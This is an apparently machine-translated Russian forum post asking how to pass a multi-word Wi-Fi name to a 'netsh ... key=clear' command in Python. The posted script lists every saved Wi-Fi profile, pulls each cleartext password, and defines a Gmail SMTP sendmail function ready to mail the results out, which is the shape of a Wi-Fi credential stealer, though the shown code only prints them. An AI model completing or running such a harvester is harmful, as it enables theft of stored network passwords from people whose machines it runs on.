Использование подпроцесса check_output для получения пароля Wi-Fi с именем, содержащим более двух словPython

Программы на Python
Anonymous
Использование подпроцесса check_output для получения пароля Wi-Fi с именем, содержащим более двух слов

Сообщение Anonymous »

Мне нужна помощь с использованием команды Windows: 'netsh wlan show Profile «Awesome Wifi» key=clear'. Мне нужно запустить эту команду, используя функцию check_output из подпроцесса модуля. Меня устраивает точка доступа Wi-Fi, имеющая имя из одного слова, и я запускаю ее так: «netsh wlan show Profile Bravo key = ясно». Как запустить команду с помощью Python для точки доступа Wi-Fi, имеющей более одного слова, например «Потрясающий Wi-Fi». Это мой код:
#!/usr/bin/env python3

import subprocess
import smtplib
import re

def sendmail(email, password, message):
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()

command = 'netsh wlan show profile'
access_points = subprocess.check_output(command, shell=True)
access_point_names_list = re.findall("(?:Profile\s*:\s)(.*)", access_points.decode())

password_dictionary = {}
for access_point in access_point_names_list:
command = 'netsh wlan show profile ' + access_point + ' key=clear'
command_result = subprocess.check_output(command, shell=True)
password_dictionary[access_point] = command_result

for password in password_dictionary:
print(password_dictionary[password])

Вернуться в «Python»